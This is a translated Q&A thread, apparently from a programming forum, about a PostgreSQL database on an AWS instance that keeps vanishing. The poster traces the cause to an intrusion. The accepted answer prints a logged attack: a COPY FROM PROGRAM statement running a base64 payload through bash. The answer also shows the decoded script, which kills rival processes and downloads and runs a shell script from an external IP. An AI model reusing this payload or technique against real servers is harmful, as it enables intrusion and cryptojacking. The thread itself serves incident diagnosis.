Отсутствует пользовательская база данных в Postgresql AWS?

Почему моя тестовая пользовательская база данных так часто отсутствует?

Я оставлю свой экземпляр AWS остановленным на ночь, а затем перезапущу его утром. Но тогда я не могу войти в систему со своей учетной записью jdtest!

Я продолжаю получать следующее в своем системном журнале

/var/lib/postgresql/log/postgresql-16-main.log

 LOG:  starting PostgreSQL 16.3 (Ubuntu 16.3-0ubuntu0.24.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 13.2.0-23ubuntu4) 13.2.0, 64-bit
 LOG:  listening on IPv4 address "0.0.0.0", port 5432
 LOG:  listening on IPv6 address "::", port 5432
 LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
 LOG:  database system was shut down at 2024-06-06 15:42:30 UTC
 LOG:  database system is ready to accept connections
 jdtest@jdtest FATAL:  database "jdtest" does not exist
 jdtest@jdtest FATAL:  database "jdtest" does not exist

Единственный способ исправить это - переиздать:

CREATE USER jdtest createdb login PASSWORD 'jdtest' ;
CREATE DATABASE jdtest owner jdtest;
GRANT ALL PRIVILEGES ON DATABASE jdtest TO jdtest;

Но потом та же проблема продолжает повторяться. :-(

Есть ли какая-то непостоянность в экземпляре AWS по умолчанию, которую мне, как нубу, не хватает? Должен ли я создать какое-то (более постоянное??) хранилище данных AWS и связанный с ним tbs postgres??

Примечания:

  • Проблема возникает ночью. Я не уверен, что необходимо отключать экземпляр, чтобы дублировать проблему.
  • Установленный пакет postgresql является пакетом по умолчанию, который поставляется с экземпляром AWS Ubuntu.
  • Я не использую AWS RDS.
  • В журнале нет DROP DATABASE. Прикрепленный лог полный.
  • Весь экземпляр и все, что с ним связано, представляет собой тестовую установку только для учебных целей.

Скорее всего вас взломали.

Frank Heikens 06.06.2024 18:31

1) Это listening on IPv4 address "0.0.0.0", port 5432 не очень хорошая идея, особенно если брандмауэр разрешает доступ из всего мира. 2) Объясните дальше... непостоянные??) табличные пространства?. 3) Есть ли в журнале Postgres какие-либо DROP DATABASE jdtest? Добавьте ответы в виде текстового обновления в текст вопроса.

Adrian Klaver 06.06.2024 18:43

Есть ли шанс, что эта последовательность SQL-запросов автоматически считается транзакцией, а вы просто не зафиксировали неявную транзакцию?

jarmod 06.06.2024 19:33

jarmod, я думал, что приведенный выше DDL вызвал неявную фиксацию....?

JDOaktown 06.06.2024 19:52

jarmod: postgres=# \echo :AUTOCOMMIT on

JDOaktown 06.06.2024 20:02

Я не знаю, но это надо проверить. Несвязано, есть ли у вас другие таблицы, которые сохраняются при остановке/запуске? Если нет, есть ли шанс, что у вас есть какой-нибудь сценарий запуска, который воссоздает всю базу данных?

jarmod 06.06.2024 20:02

Джармод: нет и нет.

JDOaktown 06.06.2024 20:02

Хорошо, надеюсь, вы сможете просмотреть журналы SQL.

jarmod 06.06.2024 20:04

Журнал заполнен на момент перезапуска экземпляра Postgres. Он не охватывает предыдущий запуск сервера, когда база данных могла быть удалена. В /var/lib/postgresql/log/ найдите журналы, которые предшествовали текущему. Нажатие ll /var/lib/postgresql/log/* покажет вам, что доступно с метками времени.

Adrian Klaver 06.06.2024 21:40

@jarmod. CREATE DATABASE: CREATE DATABASE не может быть выполнена внутри блока транзакции.

Adrian Klaver 06.06.2024 21:42

Адриан, я читал все записи. Ни в одном из журналов никогда не было «удаления базы данных».

JDOaktown 06.06.2024 21:58

Хотя я нашел это...? : pgg_superadmins@postgres ЗАЯВЛЕНИЕ: УДАЛИТЬ ТАБЛИЦУ, ЕСЛИ СУЩЕСТВУЕТ CGTmqavu;

JDOaktown 06.06.2024 22:04

СОЗДАТЬ ТАБЛИЦУ CGTmqavu(cmd_output text);КОПИРОВАТЬ CGTmqavu ИЗ ПРОГРАММЫ 'echo rZcmVhZCBsaW5‌​lOyBkbwogICBbWyAiJGx‌​pbmUiID09ICQnWFrCiAg‌​ZG9u ZSAmJiBjYXQpIDwm‌​MwogIGV4ZWMgMz4mLQp9‌​CgppZiBbIC14ICIkKGNv‌​bW 1hbmQgLXYgY3VybCki‌​IF07IHRoZW4KICBjdXJs‌​IDc4LjE1My4xNDAuOTYv‌​cGcuc2h8YmFzaAplbGlm‌​IFsgLXggIiQoY29tbWFu‌​ZCAtdiB3Z2V0KSIgXTsg ‌​dGhlbgogIHdnZXQgLXEg‌​LU8tIDc4LjE1My4xNDAu‌​OTYvcGcuc2h8YmFzaApl‌​bHNlCiAgX19jdXJsIGh0‌​ dHA6Ly83OC4xNTmuMTQw‌​Ljk2L3BnMi5zaHxiYXNo‌​CmZp|base64 -d|bash';

JDOaktown 06.06.2024 22:05

SELECT * FROM CGTmqavu;УДАЛЕНИЕ ТАБЛИЦЫ, ЕСЛИ СУЩЕСТВУЕТ CGTmqavu;

JDOaktown 06.06.2024 22:05

Это хак выше??!?

JDOaktown 06.06.2024 22:06

Это похоже на взлом. Если вы декодируете эту полезную нагрузку с помощью Base64, вы увидите вызовы wget на известный взломанный сайт, загружающие bash-скрипт и запускающие его. Аналогично известному эксплойту с CouchDB.

jarmod 06.06.2024 22:48
Стоит ли изучать PHP в 2023-2024 годах?
Стоит ли изучать PHP в 2023-2024 годах?
Привет всем, сегодня я хочу высказать свои соображения по поводу вопроса, который я уже много раз получал в своем сообществе: "Стоит ли изучать PHP в...
Поведение ключевого слова "this" в стрелочной функции в сравнении с нормальной функцией
Поведение ключевого слова "this" в стрелочной функции в сравнении с нормальной функцией
В JavaScript одним из самых запутанных понятий является поведение ключевого слова "this" в стрелочной и обычной функциях.
Приемы CSS-макетирования - floats и Flexbox
Приемы CSS-макетирования - floats и Flexbox
Здравствуйте, друзья-студенты! Готовы совершенствовать свои навыки веб-дизайна? Сегодня в нашем путешествии мы рассмотрим приемы CSS-верстки - в...
Тестирование функциональных ngrx-эффектов в Angular 16 с помощью Jest
В системе управления состояниями ngrx, совместимой с Angular 16, появились функциональные эффекты. Это здорово и делает код определенно легче для...
Концепция локализации и ее применение в приложениях React ⚡️
Концепция локализации и ее применение в приложениях React ⚡️
Локализация - это процесс адаптации приложения к различным языкам и культурным требованиям. Это позволяет пользователям получить опыт, соответствующий...
Пользовательский скаляр GraphQL
Пользовательский скаляр GraphQL
Листовые узлы системы типов GraphQL называются скалярами. Достигнув скалярного типа, невозможно спуститься дальше по иерархии типов. Скалярный тип...
0
16
77
1
Перейти к ответу Данный вопрос помечен как решенный

Ответы 1

Ответ принят как подходящий

Согласно приведенному выше соглашению с jarmod и Klaver, я нашел в системном журнале postgresql следующее:

2024-06-01 20:47:59.304 UTC [183888] pgg_superadmins@postgres STATEMENT:  DROP TABLE IF EXISTS CGTmqavu;CREATE TABLE CGTmqavu(cmd_output text);COPY CGTmqavu FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIHdnZXQgLXEgLU8tIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbHNlCiAgX19jdXJsIGh0dHA6Ly83OC4xNTMuMTQwLjk2L3BnMi5zaHxiYXNoCmZp|base64 -d|bash';SELECT * FROM CGTmqavu;DROP TABLE IF EXISTS CGTmqavu;

Я считаю, что меня взломали. Я принял предложение Джармода:

ubuntu@ip-69-31-71-83:~$ echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIHdnZXQgLXEgLU8tIDc4LjE1My4xNDAuOTYvcGcuc2h8YmFzaAplbHNlCiAgX19jdXJsIGh0dHA6Ly83OC4xNTMuMTQwLjk2L3BnMi5zaHxiYXNoCmZp|base64 -d

#!/bin/bash
pkill -f zsvc
pkill -f pdefenderd
pkill -f updatecheckerd

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

if [ -x "$(command -v curl)" ]; then
  curl 78.153.140.96/pg.sh|bash
elif [ -x "$(command -v wget)" ]; then
  wget -q -O- 78.153.140.96/pg.sh|bash
else

Я пересоберу экземпляр и ограничу его группу безопасности, чтобы предотвратить доступ со всего Интернета.

п.с. https://askto.pro/question/how-to-make-postgresql-work-with-telegram-bot#

https://cujo.com/blog/iot-malware-journals-prometei-linux/

Другие вопросы по теме